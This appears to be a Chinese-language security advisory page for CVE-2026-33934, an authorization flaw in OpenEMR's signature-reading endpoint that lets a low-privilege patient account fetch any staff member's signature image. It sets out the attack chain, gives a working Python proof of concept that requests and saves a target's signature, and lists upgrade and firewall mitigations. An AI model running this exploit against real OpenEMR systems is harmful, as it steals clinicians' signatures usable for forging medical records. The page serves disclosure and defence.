IPBUF安全漏洞报告
English
CVE-2026-33934 CVSS 4.3 中危

CVE-2026-33934 OpenEMR 越权读取签名漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33934
漏洞类型
越权读取
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

越权读取IDOROpenEMR信息泄露权限绕过

漏洞概述

OpenEMR是一款广泛使用的开源电子医疗记录系统。在8.0.0.3版本之前,该系统存在一处严重的授权绕过漏洞。漏洞源于`portal/sign/lib/show-signature.php`文件中缺失了关键的身份验证检查机制。这使得任何经过身份验证的患者门户用户,都可以通过构造包含特定`user`参数的POST请求,非法获取系统中任意工作人员的电子签名图片。尽管负责保存签名的接口此前已修复此类问题,但读取接口未同步更新,导致信息泄露风险。攻击者可利用此漏洞窃取医疗人员签名,用于伪造医疗文件,对医疗机构的信誉和合规性构成威胁。

技术细节

该漏洞的核心在于服务器端对资源访问请求的授权校验缺失(IDOR)。在OpenEMR的架构中,`portal/sign/lib/show-signature.php`文件用于处理签名图片的查询请求。正常的安全逻辑应当验证请求发起者是否为签名数据的所有者或拥有特定管理权限。然而,在受影响版本中,该接口仅依据POST请求体中的`user`参数来定位并返回数据,完全忽略了当前会话用户的身份上下文。尽管开发者此前已意识到类似的安全风险,并对负责保存签名的写入端点`save-signature.php`实施了权限加固,但在读取端点上出现了安全补丁的不一致。攻击者只需注册一个低权限的患者账号,即可通过修改HTTP请求包中的`user`参数值,遍历系统内任意工作人员的ID。一旦请求发送成功,服务器将直接响应目标用户的签名二进制流。这种越权行为不仅违背了最小权限原则,而且可能导致敏感的生物识别特征数据泄露。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是OpenEMR,且版本低于8.0.0.3。
STEP 2
获取访问权
攻击者注册或使用一个现有的低权限患者门户账号进行登录。
STEP 3
漏洞利用
攻击者向`portal/sign/lib/show-signature.php`发送特制的POST请求,将`user`参数修改为目标工作人员的ID。
STEP 4
数据窃取
服务器端因缺少授权检查,直接返回目标用户的签名图片数据,攻击者保存该图片。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable endpoint vulnerable_url = "http://target-openemr-site.com/portal/sign/lib/show-signature.php" # Attacker's authenticated session cookie (e.g., low-priv patient account) session_cookies = { "PHPSESSID": "attacker_valid_session_id_here" } # The vulnerability allows specifying any 'user' value to retrieve their signature # In this example, we attempt to retrieve the signature of user ID '1' (often an admin) payload_data = { "user": "1" } try: print("[*] Attempting to exploit CVE-2026-33934...") # Send POST request to the vulnerable endpoint response = requests.post(vulnerable_url, cookies=session_cookies, data=payload_data) # Check response status and content type to verify if data was retrieved if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'image' in content_type: print("[+] Exploit successful! Signature image retrieved.") print(f"[+] Content-Type: {content_type}") # Save the stolen signature to a file with open("stolen_signature.png", "wb") as f: f.write(response.content) print("[+] File saved as 'stolen_signature.png'") else: print("[-] Unexpected response. Target may not be vulnerable or patched.") print("[-] Response body:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议立即将OpenEMR系统升级至8.0.0.3版本以彻底修复该漏洞。如果暂时无法升级,应在Web应用防火墙(WAF)层面添加规则,严格拦截对`portal/sign/lib/show-signature.php`接口的非正常请求参数,或通过修改应用代码逻辑,强制验证当前会话用户是否有权访问请求参数中指定的用户ID数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表